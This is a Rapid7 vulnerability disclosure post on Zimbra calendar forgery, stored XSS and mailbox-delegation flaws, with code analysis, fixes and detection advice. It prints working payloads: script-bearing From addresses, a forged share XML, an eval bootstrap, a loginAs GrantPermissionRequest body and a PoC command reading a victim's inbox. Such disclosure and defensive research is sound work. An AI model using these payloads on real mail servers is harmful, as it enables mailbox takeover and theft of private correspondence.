Post Syndicated from Jonah Burgess original https://www.rapid7.com/blog/post/ve-calendar-forgery-and-stored-xss-in-zimbra-part-2
Overview
Rapid7 reported more than 80 vulnerabilities during its assessment of Zimbra Collaboration Suite (ZCS). We are publishing the research as a four-part blog series because the findings have different patch and disclosure timelines. Part 1, published in October, examined account compromise, email impersonation and unauthorized mailbox access. This second blog post covers nine vulnerabilities: three involving calendar forgery, four stored cross-site scripting (XSS) flaws and two affecting mailbox delegation.
An attacker does not need a Zimbra account to alter another user’s calendar or deliver stored XSS to the Classic and Modern web clients. The calendar manipulations happen during email delivery, before the recipient reads the message, while the XSS payloads execute when the recipient selects a message or uses its calendar or sharing controls. The delegation flaws, CVE-2026-50054 and CVE-2026-137843, can then preserve access to that mailbox after the session ends or its owner changes their password.
Several of these findings were demonstrated in our September BruCON presentation, Signed, Sealed, Compromised: Weaponizing Enterprise Mail Infrastructure. Parts 3 and 4 will cover code execution through Zimbra’s document services and local privilege escalation to root. The live technical tracker contains the full technical analyses and PoCs, with new entries and updates as further findings and fixes become public.
|
CVE |
Finding |
CVSS |
Fixed release |
|---|---|---|---|
|
Meeting cancellation and modification |
No public fix listed |
||
|
RSVP status forgery |
No public fix listed |
||
|
Phantom meeting injection |
No public fix listed |
||
|
COUNTER address stored XSS |
ZCS 10.1.21 |
||
|
Organizer Scheduler stored XSS |
No public fix listed |
||
|
Classic forged-share stored XSS |
ZCS 10.1.21 |
||
|
Modern forged-share stored XSS |
ZCS 10.1.21 |
||
|
Persistent mailbox delegation through GrantRights |
ZCS 10.1.20 |
||
|
Legacy GrantPermission bypass |
No public fix listed |
Product description
Zimbra Collaboration Suite is a self-hosted platform for email, calendars, contacts, tasks and file sharing. Its commercial server is sold as Network Edition, with Standard and Professional user licences. ZCS provides two webmail clients, Classic and Modern. They share the same mailbox server but have different browser code for displaying messages and handling calendar and sharing actions.
Zimbra exchanges meeting information using iCalendar, the standard calendar data format commonly seen in .ics files. Scheduling messages can invite attendees, carry their responses, propose changes or cancel meetings. In email, that data is carried in text/calendar MIME parts, which Zimbra processes during delivery. Folder and file-sharing invitations also arrive by email, using Zimbra-specific data that the web clients turn into a prompt to accept the share.
Testing setup
The iCalendar findings and the original GrantRightsRequest path were assessed on ZCS 10.1.16 Network Edition on Ubuntu 22.04. The four browser XSS findings and the incomplete delegation fix were assessed on ZCS 10.1.20, with CVE-2026-93648 additionally confirmed on ZCS 10.1.21. The live technical tracker contains the full affected-version details and patch diffs.
Impact
The iCalendar findings let an unauthenticated sender cancel or modify an existing meeting, falsify an attendee’s response, or create an event and reminder under someone else’s name. These changes happen during delivery without the recipient opening the email, approving the action or signing in.
Once a recipient triggers an XSS payload, the attacker can read their private correspondence and send genuine mail from their account. The payload can also install forwarding or, through the delegation flaw, preserve mailbox access after the browser session ends.
iCalendar identity forgery (CVE-2026-93627, CVE-2026-93628 and CVE-2026-93629)
Zimbra interprets text/calendar parts during delivery, before a recipient opens either web client. The iCalendar component supplies a method, event UID, organizer and attendees, while the surrounding email supplies a separate sender identity. Zimbra does not consistently verify that this sender may act for the organizer or attendee named in the component.
The three standalone SMTP attacks differ as follows:
|
CVE |
Prior state required |
Target mailbox |
Result |
Victim action |
|---|---|---|---|---|
|
CVE-2026-93627 |
Existing UID, organizer and current sequence |
Attendee |
Event removed or attacker-selected details applied |
None |
|
CVE-2026-93628 |
Existing UID, organizer, attendee and current sequence |
Organizer |
Selected attendee’s RSVP status changed |
None |
|
CVE-2026-93629 |
Auto-add enabled (default); no existing meeting required |
Recipient |
New event and optional popup reminder under a claimed organizer |
None |
For an event shared with the attacker, the legitimate invitation already exposes the UID, organizer, sequence and attendee addresses needed by the first two attacks.
The standalone attacks work with the attacker’s own address in both the From header and SMTP envelope. An attacker who controls an account in the target’s domain can also submit through Zimbra’s authenticated SMTP service with another internal user’s From address. Mail sent through that route can pass SPF, DKIM and DMARC, as discussed below.
Cancellation and modification of an existing event (CVE-2026-93627)
Technical analysis
An attacker exploits CVE-2026-93627 by emailing a forged iCalendar cancellation or update to an attendee of an existing meeting. During delivery, Message.processInvitesAfterCreate() reads the sender address from the email’s headers and checks whether that sender is allowed to invite the recipient to meetings:
// Message.processInvitesAfterCreate()
// ... authenticated-user branch omitted ...
senderEmail2 = pm.getSenderEmail(false); // [0] MIME sender
if (senderEmail2 != null) {
senderAcct = Provisioning.getInstance().get(Key.AccountBy.name, senderEmail2);
}
canInvite = accessMgr.canDo(senderEmail2, (Entry)acct,
(Right)Rights.User.R_invite, false); // [1] sender's invitation right
// ... end of unauthenticated-delivery branch omitted ...
if (!canInvite) {
// ... notification and logging omitted ...
status.autoAddNew = false; // [2] disables only new-item creation
}
If the sender identified at [0] lacks the invitation permission checked at [1], Zimbra sets status.autoAddNew to false at [2]. This prevents the email from automatically creating a new event, but Zimbra still processes cancellations and updates to existing events identified by the UID in the CANCEL or REQUEST.
CalendarItem.processNewInviteRequestOrCancel() then checks permission to change the existing event:
// CalendarItem.processNewInviteRequestOrCancel()
OperationContext octxt = this.getMailbox().getOperationContext();
Account authAccount = octxt != null ? octxt.getAuthenticatedUser() : null; // [3] authenticated account
// ... permission flags and right selection omitted ...
if (!this.canAccess(rightsNeeded, authAccount, asAdmin, requirePrivateCheck)) { // [4] item permission check
throw ServiceException.PERM_DENIED(
(String)"you do not have sufficient permissions on this calendar item");
}
The method reads the authenticated account from the mailbox’s operation context at [3] and passes it to canAccess() at [4]. Zimbra’s Local Mail Transfer Protocol (LMTP) delivery service does not carry the sender’s authenticated account into this context, so authAccount is null even for email sent by a signed-in Zimbra user. The permission check passes that value through to MailItem.hasFullPermission():
protected boolean hasFullPermission(Account authuser) {
return authuser == null || // [5] accepts a null account
authuser.getId().equals(this.mMailbox.getAccountId());
}
The condition at [5] grants full permission when the account is null, allowing the cancellation or update to pass the item permission check. Zimbra then checks the organizer:
// CalendarItem.processNewInviteRequestOrCancel() // ... intervening privacy and folder checks omitted ... boolean organizerChanged = this.organizerChangeCheck(newInvite, true); // [6] organizer check
At [6], Zimbra compares the organizer supplied in the incoming calendar data with the organizer already stored on the event. It does not check whether the email sender is that organizer. An attacker who copies the legitimate organizer and UID from an invitation can therefore send a cancellation or update from a different address and have it applied to the recipient’s calendar.
To have the forged cancellation or update accepted, the attacker supplies a SEQUENCE equal to or greater than the event’s stored value. They can then use METHOD:CANCEL without a recurrence ID to move the entire event to Trash, or METHOD:REQUEST with the same UID to change its time, location, subject, description or attendees. In either case, Zimbra changes the recipient’s copy of the meeting, leaving the organizer’s and other attendees’ calendars unchanged.
Exploitation
Here, [email protected] has invited [email protected] and [email protected] to Weekly Leadership Sync. The attacker receives the meeting’s UID and organizer address in their invitation.

The forged email contains a CANCEL with the organizer address and UID copied from the invitation, as implemented in the cancellation PoC. The relevant fields in the decoded calendar part are:
METHOD:CANCEL ORGANIZER:mailto:[email protected] UID:2c9afdc6-da99-4ca0-9c69-4ae35bf13aa4 STATUS:CANCELLED
In this example, the attacker authenticates to the target organization’s SMTP service as [email protected] and sets the email’s From to [email protected]. Where outgoing mail is DKIM-signed for that domain, the message can pass DMARC because the forged From uses the same domain.
Zimbra processes the cancellation during delivery and moves the recipient’s meeting to Trash, without requiring them to open the message. The calendar attributes the cancellation to the meeting’s organizer regardless of the email’s sender. Spoofing From: [email protected] makes the accompanying cancellation email appear to come from the CEO too, hiding the sender mismatch that would otherwise be visible:

The meeting remains on the CEO’s Calendar with the victim still listed as an attendee, so the CEO still expects them to respond or attend.

The attacker can also send a forged meeting update using METHOD:REQUEST instead of a cancellation. For a meeting scheduled at 2pm, they could change the time shown in the victim’s Calendar to 4pm. The CEO’s Calendar would still show 2pm, so the victim would be told to attend two hours after the organizer expects them.
RSVP forgery (CVE-2026-93628)
Technical analysis
CVE-2026-93628 affects calendar replies that update the organizer’s record of attendee responses. Mailbox.addMessage() dispatches the incoming calendar methods as follows:
// Mailbox.addMessage()
// ... calendar-part extraction omitted ...
if (ZCalendar.ICalTok.REPLY.equals((Object)cpi.method)) {
this.processICalReplies(octxt, cpi.cal, null); // [0] sender discarded
} else if (ZCalendar.ICalTok.COUNTER.equals((Object)cpi.method)) {
this.processICalReplies(octxt, cpi.cal, pm.getSender()); // [1] sender retained
}
For an incoming REPLY, Zimbra passes null as the sender at [0], even though it correctly uses the email’s sender address for COUNTER messages at [1]. The reply is then processed by CalendarItem.processNewInviteReply(), which receives the null sender:
// CalendarItem.processNewInviteReply()
// ... method declaration and attendee-list setup omitted ...
String senderAddress = null;
if (sender != null && !sender.isEmpty()) { // [2] skipped
try {
JavaMailInternetAddress address = new JavaMailInternetAddress(sender);
senderAddress = address.getAddress();
}
catch (AddressException address) {
// empty catch block
}
}
if (senderAddress != null && !attendees.isEmpty()) { // [3] filter skipped
AccountUtil.AccountAddressMatcher acctMatcher = null;
Account acct = Provisioning.getInstance().get(Key.AccountBy.name, senderAddress);
if (acct != null) {
acctMatcher = new AccountUtil.AccountAddressMatcher(acct);
}
Iterator<ZAttendee> iter = attendees.iterator();
while (iter.hasNext()) {
ZAttendee att = iter.next();
if (att.addressMatches(senderAddress)
|| acctMatcher != null && acctMatcher.matches(att.getAddress())) continue;
iter.remove(); // [4] nonmatching attendees removed
}
}
// ... PARTSTAT application and remaining method omitted ...
Because sender is null, the block at [2] never extracts an address, leaving senderAddress null and causing the check at [3] to skip the attendee filter. Normally, the loop checks each attendee’s address against the sender and their account aliases, removing nonmatching attendees at [4].
Without that filter, Zimbra accepts the supplied participation status (PARTSTAT), allowing the attacker to overwrite another attendee’s RSVP with accepted, declined, tentative or needs-action. The same behavior occurs when the reply is forwarded to a local or remote organizer mailbox, because the forwarding path preserves the null sender.
Exploitation
The attacker uses the RSVP forgery PoC to send a REPLY to the organizer, copying the meeting’s UID and organizer address but supplying ATTENDEE;PARTSTAT=DECLINED:mailto:[email protected].

The organizer’s copy then records a decline from the victim, regardless of who sent the reply.

The victim did not decline the invitation, and their own calendar copy remained unchanged. The attacker can also select ACCEPTED, TENTATIVE or NEEDS-ACTION to supply a different response.
Phantom meeting insertion (CVE-2026-93629)
Technical analysis
An unauthenticated sender can exploit CVE-2026-93629 by emailing the recipient a METHOD:REQUEST invitation that names another user as organizer. The R_invite check in Message.processInvitesAfterCreate() applies to the email sender and permits invitations from guest and external identities by default, so the attacker can send from their own address.
When the invitation’s UID does not match an existing event, Message.getInfoForAssociatedCalendarItem() reaches the following creation branch:
// Message.getInfoForAssociatedCalendarItem()
// ... method dispatch and existing-event lookup omitted ...
if (status.autoAddNew) { // [0] automatic invitation insertion
if (this.mMailbox.getAccount().sameAccount(cur.getOrganizerAccount())) { // [1] recipient is organizer
// ... logging omitted ...
} else {
int flags = 0;
int defaultFolder = cur.isTodo() ? 15 : 10;
status.calItem = this.mMailbox.createCalendarItem(defaultFolder, flags,
null, cur.getUid(), pm, cur, null); // [2] create event from supplied calendar data
calItemIsNew = true;
status.calItemFolderId = status.calItem.getFolderId();
}
}
The flag at [0] reflects the recipient’s zimbraPrefCalendarAutoAddInvites setting, which was enabled by default in the tested release. The comparison at [1] prevents an invitation from being added to the claimed organizer’s own calendar. It does not check whether the email sender is that organizer.
By naming a different internal account as organizer, the attacker reaches [2], where Zimbra creates the recipient’s event using the supplied subject, time, location, description and popup reminder. The recipient sees the event attributed to the chosen internal user.
Exploitation
The phantom-meeting attack needs no existing invitation. The phantom-meeting PoC generates a fresh UID and emails a REQUEST to the recipient with the attacker’s chosen organizer. Here, it names [email protected], and the recipient’s Calendar gains an URGENT: Emergency Board Meeting – Mandatory appointment containing the attacker’s location, meeting link and five-minute reminder.

The forged invitation leaves the CEO’s Calendar unchanged, so they have no corresponding appointment:

Impact
An attacker can make selected participants miss a meeting or follow an altered time and location without changing the organizer’s copy. A false decline can cause an organizer to reschedule or cancel using fabricated attendance. A phantom meeting can present attacker-selected instructions and links under a trusted internal organizer, then resurface in a popup reminder.
Stored XSS in Classic calendar messages (CVE-2026-93647 and CVE-2026-93648)
Two stored XSS vulnerabilities allow an unauthenticated sender to execute JavaScript in a recipient’s Classic session. Classic renders a crafted sender address as HTML when the recipient selects a counter-proposal email, and a crafted organizer address when they open Propose New Time on a meeting invitation. Both attacks can use a fresh UID, so neither requires an existing meeting or exploitation of the identity forgeries above.
COUNTER sender address XSS (CVE-2026-93647)
An attendee can propose a change to an existing meeting, such as a different start time, by emailing the organizer an iCalendar COUNTER message. When the organizer selects that email in Classic, a banner identifies the sender as the person proposing the change.
Technical analysis
An attacker exploiting CVE-2026-93647 places HTML in the quoted local part of the email’s From address, before the @. encodeInvitesForMessage() retains a METHOD:COUNTER component even when its fresh UID matches no Calendar item. Classic obtains the decoded sender while constructing its invitation banner:
// MailCore_all.js, counter-proposal branch
var from = this._msg.getAddress(AjxEmailAddress.FROM) &&
this._msg.getAddress(AjxEmailAddress.FROM).getAddress(); // [0] decoded sender
subs.counterInvMsg = (!sentByAddr || sentByAddr == from) ?
AjxMessageFormat.format(ZmMsg.counterInviteMsg, [from]) :
AjxMessageFormat.format(ZmMsg.counterInviteMsgOnBehalfOf,
[AjxStringUtil.htmlEncode(sentByAddr), from]); // [1] raw formatting
At [0], from contains the attacker-selected address. Both formats at [1] receive that value without HTML encoding. Message.template.js then copies the formatted result into the message view:
if (data.counterInvMsg) {
// ... invitation-table output omitted ...
buffer[_i++] = data.counterInvMsg; // [2] raw HTML insertion
// ... remaining output omitted ...
}
The unencoded value at [2] becomes part of the message-view HTML. When Classic renders the message, the browser creates the attacker’s element and runs its event handler.
Exploitation
The COUNTER PoC places an image payload in a valid quoted local part. The critical fields are:
From: "<img src=x onerror=alert(document.domain)>"@attacker.example METHOD:COUNTER UID:CALADDRESS-COUNTER-DEMO ORGANIZER:mailto:[email protected] ATTENDEE;PARTSTAT=TENTATIVE:mailto:%22%3Cimg%20src%3Dx%20onerror%3Dalert%28 document.domain%29%3E%[email protected]
The quoted local part is 44 octets, below SMTP’s 64-octet limit. Zimbra’s normal mail path accepted it. Selecting the stored Inbox message executed JavaScript even though no event with that UID existed before or after delivery.

To run a longer script, the combined PoC uses a 62-octet bootstrap in the sender address:
From: "<img src=x onerror='for(i=length;i--;)eval(top[i].x.value)'>"@attacker.example
The longer script is stored as text in a hidden textarea with id=x in the same email’s HTML body. Classic renders that body in a same-origin frame. The injected handler visits the top-level window’s frames in reverse order, reads the script through top[i].x.value and passes it to eval(), executing it in the recipient’s Zimbra session. This compact bootstrap depends on Classic’s right-side reading-pane frame order. The combined PoC uses the longer script to grant persistent mailbox access, as described in the delegation section.
Fix
The patch in ZCS 10.1.21 HTML-encodes the COUNTER sender before constructing the invitation banner. This causes the browser to display markup in the sender address as text, preventing the injected element and its event handler from being created.
Organizer address XSS in the scheduler (CVE-2026-93648)
A meeting invitation arrives by email with an iCalendar REQUEST containing the organizer’s address and meeting details. In Classic, the recipient can choose Propose New Time to open the Scheduler, which displays the organizer and attendees while they select an alternative time.
Technical analysis
CVE-2026-93648 places HTML in the organizer address that the Scheduler displays. The forged invitation uses the same attacker-owned address for its RFC sender and organizer. Automatic Calendar insertion is unnecessary because, when no item exists, proposeNewTime() imports the stored invitation into a new appointment model and opens the Scheduler:
// ZmCalViewController.proposeNewTime()
newAppt.setProposeTimeMode(true);
newAppt.setFromMailMessageInvite(msg); // [0] stored organizer imported
if (apptId) {
// ... existing-item handling omitted ...
} else {
newAppt.setViewMode(mode);
AjxDispatcher.run("GetApptComposeController").proposeNewTime(newAppt); // [1] opens Scheduler
}
setFromMailMessageInvite() at [0] copies the attacker-controlled organizer into the new appointment model, which [1] passes to the Scheduler. The Scheduler inserts that value into its attendee template:
// ZmFreeBusySchedulerView._addAttendeeRow()
var data = {
// ... preceding template fields omitted ...
organizer: organizer, // [2] attacker-controlled organizer
// ... remaining template fields omitted ...
};
// ... cell creation omitted ...
td.innerHTML = AjxTemplate.expand(
"calendar.Appointment#AttendeeName", data); // [3] first HTML parse
At [2], the Scheduler places the organizer in the template data. Appointment.template.js outputs it directly, and [3] parses that output as HTML. _setAttendee() performs a second write from the same value:
if (isOrganizer && nameDiv) {
nameDiv.innerHTML = '<div class="ZmSchedulerInputDisabled">' +
ZmApptViewHelper.getAttendeesText(attendee, type, true) + '</div>'; // [4] second HTML parse
}
Both [3] and [4] interpret the organizer address as HTML, so either write can execute the payload.
Exploitation
The Scheduler PoC sends a forged REQUEST with the payload in the organizer address:
From: "<img src=x onerror=alert(document.domain)>"@attacker.example METHOD:REQUEST UID:CALADDRESS-ORGANIZER-DEMO ORGANIZER:mailto:"<img src=x onerror=alert(document.domain)>"@attacker.example ATTENDEE;RSVP=TRUE;PARTSTAT=NEEDS-ACTION:mailto:[email protected]
The target must be an online, non-external account using Classic with Group Calendar enabled. When the recipient opens the invitation and clicks Propose New Time, the Scheduler renders the organizer address as HTML and executes the injected script. Classic loads the payload from the stored email even if automatic invitation insertion is disabled.

Impact
A malicious calendar message can compromise the recipient’s mailbox as soon as they select it in Classic or propose a new meeting time. The attacker does not need the user to follow an external link, approve a share or enter a password. Once the payload executes, it can issue mailbox requests as that user, including the persistent-delegation request described later in this post.
Forged share invitations execute JavaScript in Classic and Modern (CVE-2026-93641 and CVE-2026-93642)
Zimbra uses a private MIME type, xml/x-zimbra-share, for messages generated by its sharing workflow. An external sender can construct the same MIME part and make the web clients display an actionable share invitation, without a real share or a notification generated by Zimbra.
Classic and Modern process the invitation through separate code. CVE-2026-93641 places active markup in Classic’s fallback grantor email, while CVE-2026-93642 places it in Modern’s grantor name. Both execute when the recipient clicks Accept Share.
Technical analysis
The server accepts forged share notifications
During response construction, ToXML.addPart() reads the normalized content type from the inbound MIME part:
// ToXML.addPart()
ctype = StringUtil.stripControlCharacters((String)mpi.getContentType()); // [0] normalized MIME type
// ... Calendar and ordinary MIME handling omitted ...
if ("xml/x-zimbra-share".equals(ctype)) { // [1] attacker-selected type
shr = root.addNonUniqueElement("shr");
try {
ToXML.addContent(shr, mpi, maxSize, defaultCharset); // [2] share content copied
}
// ... exception handling and branch closing omitted ...
[0] reads the content type from the inbound message, and the branch at [1] uses only that value to reach [2], which copies the decoded attacker content into the message-level shr object. Because neither the server nor either client performs an authoritative share lookup before exposing the UI action, attacker-selected account and link IDs are sufficient.
Classic falls back to an unencoded email
Classic parses the promoted object and displays the share toolbar when its unverified action is new and its permission field is nonempty. Clicking Accept Share opens ZmAcceptShareDialog, which creates the following header:
// ZmAcceptShareDialog.popup()
this._headerEl.innerHTML = this._headerFormatter.format([
AjxStringUtil.htmlEncode(share.grantor.name) || share.grantor.email, // [3] raq email fallback
AjxStringUtil.htmlEncode(share.link.name)
]);
Classic normally encodes the grantor name, but an empty name makes [3] select the raw grantor email. The localized formatter wraps that value in <b> tags and assigns it through innerHTML when the dialog opens, before the final Yes button submits an acceptance request.
Modern preserves an iframe srcdoc payload
Modern’s share modal reads the attacker-controlled grantor name into sharedOwnerName without using the encoder already applied to adjacent folder fields:
// Modern module 52103; whitespace added
// ... preceding modal fields omitted ...
U = R ? B : (0,h.EG)(n,"grantor","name") // [4] raw grantor name
// ... field derivation omitted ...
fields: {
sharedOwnerName: U, // [5] no encoder
sharedFolderName: R ?
(0,N._N)("/" === $ ? z : $.substring($.lastIndexOf("/") + 1)) : (0,N._N)(P),
sharedFolderTypeName: Y ? (0,N._N)(`${Y} ${z}`) : (0,N._N)(`${q} ${z}`)
}
// ... remaining modal fields omitted ...
For a received invitation, R is false, so [4] extracts the raw grantor name and [5] places it in the template fields. Modern’s MarkupText parser removes a direct script element, but recreates other HTML elements and copies their attributes. The payload therefore uses an iframe whose srcdoc contains the script. The parser preserves the iframe and attribute, which the browser then parses as a new same-origin document containing an executable script.
Exploitation
The Classic PoC and Modern PoC send forged notifications using the normal share format. A complete decoded Classic share part is:
<share xmlns="urn:zimbraShare" version="0.2" action="new"> <grantee id="fc8d2fb6-0a08-4537-944c-0c81c92bc69f" email="[email protected]" name="Recipient"/> <grantor id="9f1c2ec3-891a-47fb-b7ec-66ab388c6487" email="<img src=x onerror=alert(document.domain)>@attacker.example" name=""/> <link id="1" name="Shared Documents" view="message" perm="r"/> </share>
The identifiers need not refer to real accounts or an existing share.
The MIME part is Base64-encoded inside an ordinary multipart email. In an affected client with sharing enabled, the recipient selects the stored message and clicks Accept Share. The browser executes the script when the acceptance dialog opens. The final confirmation and a valid backend share are unnecessary.

For Modern, grantor.email is an ordinary address and the grantor element instead uses this name:
</b><iframe srcdoc="<script>top.alert(top.document.domain)</script>"></iframe><b>

Impact
Both findings begin with unauthenticated email and end with JavaScript in the authenticated Zimbra origin. The Modern payload runs in an unsandboxed same-origin iframe with access to its parent, while the Classic payload runs in the top-level page; that distinction does not meaningfully restrict mailbox access in either client.
Fix
The Classic patch and Modern patch in ZCS 10.1.21 encode Classic’s grantor-email fallback and Modern’s sharedOwnerName before their respective HTML parsers. The server still accepts forged share notifications, but those fields no longer execute as HTML in the clients.
Browser entry points compared
The four browser entry points have different feature and interaction requirements:
|
CVE |
Client and feature |
Recipient action |
Pre-existing event/share required |
|---|---|---|---|
|
CVE-2026-93647 |
Classic Calendar |
Select the COUNTER message |
No |
|
CVE-2026-93648 |
Classic Group Calendar |
Open the invitation and select Propose New Time |
No |
|
CVE-2026-93641 |
Classic Sharing |
Select the message and click Accept Share |
No |
|
CVE-2026-93642 |
Modern Sharing |
Select the message and click Accept Share |
No |
XSS capabilities
Zimbra marks its authentication cookie, ZM_AUTH_TOKEN, as HttpOnly, but the browser attaches it to requests made by JavaScript running on the Zimbra origin. By reading the web client’s CSRF token and including it in SOAP requests, the payload can perform the same mailbox operations as the signed-in recipient and read the returned data:
|
Capability |
Relevant interface |
Effect |
|---|---|---|
|
Read and exfiltrate mail |
SearchRequest, GetMsgRequest |
Search across folders and retrieve messages, including attachments, from Inbox, Sent and Drafts. |
|
Read other mailbox data |
GetContactsRequest and mailbox REST endpoints |
Retrieve contacts, calendar entries and Briefcase files available to the user. |
|
Send as the victim |
SendMsgRequest |
Send internal or external mail through the victim’s actual account. |
|
Delete or modify mail |
MsgActionRequest |
Delete or move messages and change their read state, including to conceal malicious correspondence. |
|
Forward future mail |
ModifyFilterRulesRequest |
Install a server-side filter that continues copying incoming mail after the payload stops running or the victim changes their password. |
|
Grant folder access |
FolderActionRequest |
Share selected folders with an attacker-controlled account for access outside the victim’s browser session. |
Ordinary forwarding filters remain subject to the administrator’s forwarding policy. On releases affected by CVE-2026-50055, the Sieve notify flaw covered in Part 1 provides a separate bypass of that restriction.
Mail access exposes existing conversations, password-reset links and email-delivered one-time codes for other services. The attacker can continue those conversations from the victim’s account, change payment instructions or send further malicious invitations to colleagues. The ability to send the payload onward could also support an XSS worm, compromising additional mailboxes as recipients trigger it.
Persistent mailbox access through delegation (CVE-2026-50054 and CVE-2026-137843)
Zimbra’s loginAs right lets one account access another user’s mailbox while authenticating with its own credentials. The delegate can read, send or delete mail without knowing the mailbox owner’s password. CVE-2026-50054 lets an XSS payload grant this right to an attacker-controlled account, preserving mailbox access after the victim’s session ends.
The grant request must run with authority over the victim’s account, and the attacker needs an existing local account to receive it. The XSS findings provide the victim’s authenticated session without revealing their credentials.
Technical analysis
The original handler accepted any registered right
The web client’s delegation controls offer only sendAs and sendOnBehalfOf for sending mail. They provide no option to grant mailbox access through loginAs. The original GrantRightsRequest handler checks that the request runs as the account owner, then calls handleACE() to parse each requested access-control entry (ACE):
// GrantRights.handleACE(), before ZCS 10.1.20
// ... method declaration omitted ...
UserRight right = RightManager.getInstance()
.getUserRight(eACE.getAttribute("right")); // [0] caller-selected right
GranteeType gtype = GranteeType.fromCode(eACE.getAttribute("gt"));
// ... grantee resolution and deny modifier omitted ...
return new ZimbraACE(zid, gtype, right, rightModifier, secret); // [1] ACE constructed
At [0], getUserRight() resolves any registered user right, including loginAs. The ACE returned at [1] goes back to GrantRights.handle(), which passes it to ACLUtil.grantRight() for storage in LDAP. There is no restriction on the requested right between that lookup and the write.
The fix protects only GrantRightsRequest
ZCS 10.1.20 added the following rejection after GrantRightsRequest resolves the canonical right:
// GrantRights.handleACE(), ZCS 10.1.20
// ... method declaration omitted ...
UserRight right = RightManager.getInstance()
.getUserRight(eACE.getAttribute("right"));
GrantRights.checkIfRightIsLoginAsRight(right.getName()); // [2] loginAs rejected
// ... remaining ACE construction omitted ...
The helper at [2] throws service.PERM_DENIED for loginAs. However, the older GrantPermissionRequest is still available through a separate mail-service handler. This independently implemented bypass is tracked as CVE-2026-137843. Its own parser performs the same unrestricted lookup and never calls the new helper:
// GrantPermission.handleACE(), ZCS 10.1.20
// ... method declaration omitted ...
UserRight right = RightManager.getInstance()
.getUserRight(eACE.getAttribute("right")); // [3] no loginAs check
GranteeType gtype = GranteeType.fromCode(eACE.getAttribute("gt"));
// ... grantee resolution and deny modifier omitted ...
return new ZimbraACE(zid, gtype, right, rightModifier, secret); // [4] ACE constructed
Changing the request from GrantRightsRequest to GrantPermissionRequest therefore reaches [3], returns an ACE at [4] and writes it through the same ACL function.
Zimbra’s SOAP reference documents only viewFreeBusy and invite for this request’s right field. Accepting loginAs is not required by that interface.
Exploitation

JavaScript running in the victim’s Zimbra origin reads the CSRF token held by the client and sends an authenticated POST to /service/soap/GrantPermissionRequest containing:
<GrantPermissionRequest xmlns="urn:zimbraMail"> <ace right="loginAs" gt="usr" d="[email protected]"/> </GrantPermissionRequest>
The browser supplies the victim session cookie automatically, while the script adds the CSRF header. On ZCS 10.1.20, GrantPermissionRequest returned HTTP 200 with GrantPermissionResponse and stored the ACE, whereas an equivalent GrantRightsRequest returned service.PERM_DENIED.
The COUNTER-to-delegation PoC performs the grant from one message selection in Classic’s right-side reading-pane layout. The attacker then authenticates normally with their own credentials and selects the victim in the SOAP context:
<context xmlns="urn:zimbra"> <authToken>ATTACKER_OWN_TOKEN</authToken> <account by="name">[email protected]</account> </context>
With that context, a SearchRequest for in:inbox returns the victim’s messages rather than the attacker’s. The standalone Python PoC signs in using only the attacker’s credentials and lists the victim’s Inbox:
python3 pocs/CVE-2026-137843/grantrights_loginas_delegation.py \ --target https://mail.lab.local --mode exploit \ --owner [email protected] \ --grantee [email protected] --grantee-pass '<attacker-password>' \ --insecure --action inbox [1] Authenticating as grantee ([email protected]) ... [+] Authenticated [+] 10 messages in [email protected]'s Inbox [... two delivery-failure subjects omitted ...] Revised supplier payment deadline Final supplier payment schedule Quarterly payment authorization Confidential acquisition terms [... remaining subjects omitted ...]
Classic’s Preferences > Accounts > Delegates view reported no results while the grant was active. Owner or administrator rights queries could see and revoke it, but the normal client interface did not expose it to the victim.

Impact
The attacker can access the mailbox from fresh sessions authenticated with their own credentials, without triggering the XSS again. Changing the victim’s password or revoking their sessions does not remove the LDAP entry, so fresh attacker sessions retain access until the grant is revoked.
Fix
The patch in ZCS 10.1.20 blocks the original GrantRightsRequest path. The separate GrantPermissionRequest bypass has no confirmed fixed release.
Combining the findings
The attacks above can arrive from an external sender, but an attacker who controls a Zimbra account in the target’s domain can also make the messages look like mail from a trusted colleague. Zimbra’s authenticated SMTP service accepts a forged From address in that same domain; the message then comes from the organization’s SPF-authorized server and receives its configured aligned DKIM signature, so DMARC can pass.
Part 1’s email impersonation flaw (CVE-2026-73571) provides another delivery route through Zimbra’s application API. With one ordinary account, an attacker can impersonate an HR, IT or CEO account on the same mailbox server and distribute XSS-bearing share invitations to employees across the organization. Zimbra also places a copy in the selected sender’s Sent folder.
Naming the same person as the share’s grantor makes the invitation look like a genuine request from that colleague, even though no share exists. Clicking Accept Share runs the payload before the server processes the final acceptance, allowing the script to grant persistent access to the attacker’s account.
These are four of the 17 XSS vulnerabilities Rapid7 found during this assessment. Part 3 will follow these browser payloads into Zimbra’s document services, where separate server-side vulnerabilities allow code execution as the zimbra operating-system user. Part 4 will cover four local privilege-escalation flaws and demonstrate one combination that takes an attacker from a malicious email to root access.
Remediation
Upgrade ZCS to the latest supported release. ZCS 10.1.21 fixes CVE-2026-93641, CVE-2026-93642 and CVE-2026-93647. ZCS 10.1.22, released on December 2, updates NGINX but leaves the remaining calendar, Scheduler and legacy delegation flaws unchanged. Consult the tracker and Zimbra advisory for subsequent fixes.
Upgrading does not remove objects created before the update. Administrators should review account ACLs for loginAs grants, remove any entry that was not deliberately assigned, and monitor these grants outside the Delegates interface. Password changes and session revocation alone do not end that access.
The remaining findings require further vendor fixes. The tracker will be updated as corrected releases become available.
Detection and incident response
Preserve the delivered message and its structured MIME parts. For suspicious Calendar changes, compare the RFC From, METHOD, UID, SEQUENCE, ORGANIZER and ATTENDEE and, where SMTP AUTH was used, the submitting account. The RFC sender alone is not reliable attribution when a compromised account submitted the message through Zimbra.
Decode stored xml/x-zimbra-share parts and compare the supplied grantor, grantee and link IDs with authoritative share grants. HTML metacharacters in grantor fields are suspicious regardless of whether the asserted object exists. A markup-bearing quoted From on METHOD:COUNTER is a direct indicator for CVE-2026-93647; the same pattern in a METHOD:REQUEST organizer is a direct indicator for CVE-2026-93648.
Stored loginAs grants can be found directly in LDAP, regardless of how the attacker encoded the SOAP request. Run this as the Unix zimbra account:
/opt/zimbra/bin/zmprov -l sa '(zimbraACE=*loginAs)'
For each result, inspect zmprov -l ga [email protected] zimbraACE, resolve the grantee UUID and compare the grant with approved delegation records. The tracker includes the full query, example output and log search. A stored grant is stronger evidence than a literal loginAs match in an HTTP body, which can be evaded with XML character references or JSON Unicode escapes.
For suspected browser compromise, do not stop after expiring sessions or resetting a password. Inventory effective loginAs ACEs and Sieve rules, compare them with expected delegation and forwarding policy, and revoke malicious state. The client may not expose either form of persistence in the interface the user normally checks.
Credit
The assessment was conducted by Jonah Burgess (CryptoCat), Senior Security Researcher at Rapid7, in accordance with Rapid7’s vulnerability disclosure policy.
Disclosure timeline
-
